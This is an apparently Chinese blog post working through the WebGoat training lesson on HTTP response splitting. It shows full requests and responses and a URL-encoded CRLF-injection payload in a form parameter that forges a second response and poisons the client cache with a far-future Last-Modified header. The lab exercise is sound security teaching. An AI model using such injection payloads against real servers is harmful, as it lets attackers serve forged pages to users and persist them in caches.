WebGoat学习——HTTP 拆分技术 ( HTTP Splitting)
2012年10月10日 ⁄ 综合 ⁄ 共 3566字 ⁄ 字号 小 中 大 ⁄ 评论关闭

攻击者在向 Web 服务器正常输入的请求中加入恶意代码,受到攻击的应用不会检查CR(回车,也可表示为%0d或\r)和LF(换行,也可表示为%0a或\n)。这些字符不仅使攻击者控制应用程序打算发送的响应头和响应体,而且还使他们能够完全在其控制下创造更多的答复。HTTP拆分攻击配合缓存污染一起使用,能使效果达到最大化。缓存污染攻击的目标是使缓存污染,欺骗缓存,使其相信使用HTTP拆分劫持的页面是一个很正常的页面,是一个服务器的副本。

例如,请求用户发送如下请求:

POST http://localhost:8080/WebGoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=C22BD09F3FD4B2C00B95613B2149529F
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

nick=arlen

服务器返回302,重定向到另一个地址,如下:

HTTP/1.1 302 Moved Temporarily

Server: Apache-Coyote/1.1

Location: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen

Content-Type: text/html;charset=ISO-8859-1

Content-Length: 0

Date: Wed, 10 Apr 2013 13:43:40 GMT

如果服务器没有对nick参数做限制或者校验,则黑客可以修改nick参数来迫使服务器返回两个答复,可以通过修改nick参数为下面内容:

arlen
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 30

arlentest

urlencode后得到:

arlen%0D%0AContent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+text%2Fhtml%3Bcharset%3Dutf-8%0D%0ALast-Modified%3A+Thu%2C+01+Jan+2099+12%3A00%3A00+GMT++%0D%0AContent-Length%3A+30%0D%0A%0D%0A%3Chtml%3Earlentest%3C%2Fhtml%3E

将post中的nick参数值修改成上面字符串重新发送请求,服务器则会返回如下信息:

HTTP/1.1 302 Moved Temporarily

Server: Apache-Coyote/1.1

Location: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen

Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 30

arlentest

客户端收到答复后解析到Content-Length: 0,认为内容已经结束,然后处理请求重定向URL地址到http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen,发送第二个请求包

GET http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20100101 Firefox/20.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen

Cookie: JSESSIONID=C22BD09F3FD4B2C00B95613B2149529F

Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=

Connection: keep-alive

而客户端会认为之前收到的第二个200的答复是属于此请求的,则正常处理,从而达到欺骗用户的目的。

为了进一步污染客户端的缓存,我们在第二个回报中添加Last-Modified字段,将缓存时间设置的足够长,从而在用户下次请求时仍然返回错误的答复。为了实现上述操作通过修改nick参数:

arlen
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT
Content-Length: 30

arlentest

urlencode后为:

arlen%0D%0AContent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+text%2Fhtml%3Bcharset%3Dutf-8%0D%0ALast-Modified%3A+Thu%2C+01+Jan+2099+12%3A00%3A00+GMT++%0D%0AContent-Length%3A+30%0D%0A%0D%0A%3Chtml%3Earlentest%3C%2Fhtml%3E

客户端的回包如下:

HTTP/1.1 302 Moved Temporarily

Server: Apache-Coyote/1.1

Location: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen

Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT
Content-Length: 30

arlentest

从而在第二次请求时会迫使客户端对http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen 做缓存,在用户下次进入该页面时仍然打开该攻击页面。

幸运的是,现在的主流Web服务器比如IIS,Apache HTTP Server以及WebGoat使用的Tomcat等等都有对这个问题作过改进,服务器会对即将发送出去的HTTP响应头里面每一项的值都会做一定的编码或者转换,以避免这个问题。比如Tomcat就响应头中的每一项的值都做过了URLEncode,从而保证即使Web应用存在HTTP应答拆分的漏洞,Web服务器上也从底层平台的角度保证了尽可能避免HTTP应答拆分漏洞带来的威胁。

WebGoat(一)——HTTPSplitting(Http拆分攻击)相关推荐

  1. 浅谈HTTP响应拆分攻击(一)

    在本文中,我们将探讨何谓HTTP响应拆分以及攻击行为是怎样进行的.一旦彻底理解了其发生原理(该原理往往被人所误解),我们就可以探究如何利用响应拆分执行跨站点脚本(简称XSS).接下来自然就是讨论如果目 ...

  2. 基于 WebGoat 平台的 SQL 注入攻击

    基于 WebGoat 平台的 SQL 注入攻击 扩展功能参考: https://blog.csdn.net/HZC0217/article/details/126790211 使用实例参考: http ...

  3. http响应截断攻击(响应拆分攻击)

    利用CR,LF字符,匹配http报文的格式,实现服务端响应伪造报文,达到攻击目的.如,污染缓存代理服务器的响应缓存. 回车CR-将光标移动到当前行的开头. 换行LF-将光标"垂直" ...

  4. 目录/文件攻击防范策略研究

    目录 0x1:目录穿越攻击 0x2:远程文件引入攻击 0x3:防范的方法 目录穿越攻击 目录穿越(Directory Traversal)攻击是黑客能够在Web应用程序所在的根目录以外的文件夹上,任意 ...

  5. 熟练的“猎手”使用新的脉冲波 DDoS 攻击来打击多个目标

    在一种新型 DDoS 攻击中,熟练的恶意攻击者使用脉冲波 DDoS 攻击来利用设备优先的混合缓解解决方案中的弱点并锁定多个目标. 我们在 2017 年第二季度缓解了一些最凶猛的 DDoS 攻击,其中包 ...

  6. webgoat安全攻防靶场小白test

    参考地址:https://www.freebuf.com/articles/web/221947.html 一.webgoat是什么? WebGoat是OWASP维护的,用于进行WEB漏洞测试和学习的 ...

  7. OWASP WebGoat---安全测试学习笔记(一)

    编者按: 作为一名黑盒测试人员,我是今年初开始接触安全性测试这个方向的.但是在学习安全性测试时,感觉知识点很碎,或者说缺少纲领性的东西,很难下手或迈出第一步.后来找到了OWASP top 10, 进而 ...

  8. 年轻人不讲武德!200个网络渗透测试工具大汇总

    最近有粉丝私信我说能不能写一期资料整理的文章 那么....它来了! 以下工具适合渗透测试人员,安全研究人员. 可以通过以下命令检查所有的工具: git clone --recursive https: ...

  9. 20164317《网络对抗技术》Exp9 Web安全基础

    Exp9 Web安全基础 一.实践目标 理解常用网络攻击技术的基本原理. 在Webgoat,实践相关实验. SQL注入攻击 XSS攻击 CSRF攻击 二.实践过程 1.环境配置: 下好jar包然后放在 ...

最新文章

  1. 如何在一场面试中展现你对Python的coding能力?| 技术头条
  2. Gitlab+Gerrit+Jenkins完整对接
  3. 浮点数存储格式学习:找到非规格数中最大和最小的数
  4. Logtail从入门到精通(三):机器分组配置
  5. 明了 | 看了这篇文章,多年不能理解的分布式事物,终于看懂了!
  6. FinalShell SSH工具下载
  7. nyoj 605 Dice Tower
  8. 使用谷歌浏览器chrome截取长图
  9. 7位白手起家的亿万富豪的7大独特做事准则 凤凰科技02-0411:46 原标题:7位白手起家的亿万富豪的7大独特做事准则 那些白手起家的亿万富翁企业家是否有一些独特的思维方式和做事准则,从而让自己获得
  10. 软件首次亮相前超级账本技术升温
  11. 扭蛋机(bilibili)
  12. 统计学与计算机考研学校排名,2018统计学考研院校排名
  13. RuntimeError: CUDA error: an illegal memory access was encountered
  14. 回忆录 - IKCEST首届“一带一路”国际大数据竞赛(2019)获奖经历
  15. QPSK调制解调和误码率
  16. 画【Python折线图】的一百个学习报告(三、自动生成单一数据折线图)
  17. 菜鸟学PCB贴片及无线模块功能介绍
  18. 禁用迅雷的浏览器支持
  19. 2018第一季度工作总结-遇到的困难和解决
  20. Android 随笔集 By tuliyuan

热门文章

  1. 64. Minimum Path Sum 路径最小总和
  2. 动手焊板子流水账-测温数码管电机联动
  3. [慈溪2012]书架(bookshelf)
  4. 解决 HttpServletRequest 流数据不可重复读
  5. 《数据库原理》实验 西北工业大学
  6. SHP转换为SLPK
  7. “30岁,打拼十年,一事无成”:前半生偷的懒,后半生拼命还
  8. Android Studio修改AVD虚拟模拟器路径
  9. win10可以上网但是网路连接显示小地球-解决办法
  10. 学习 Java ,是看书学习快,还是看视频学习快呢 ?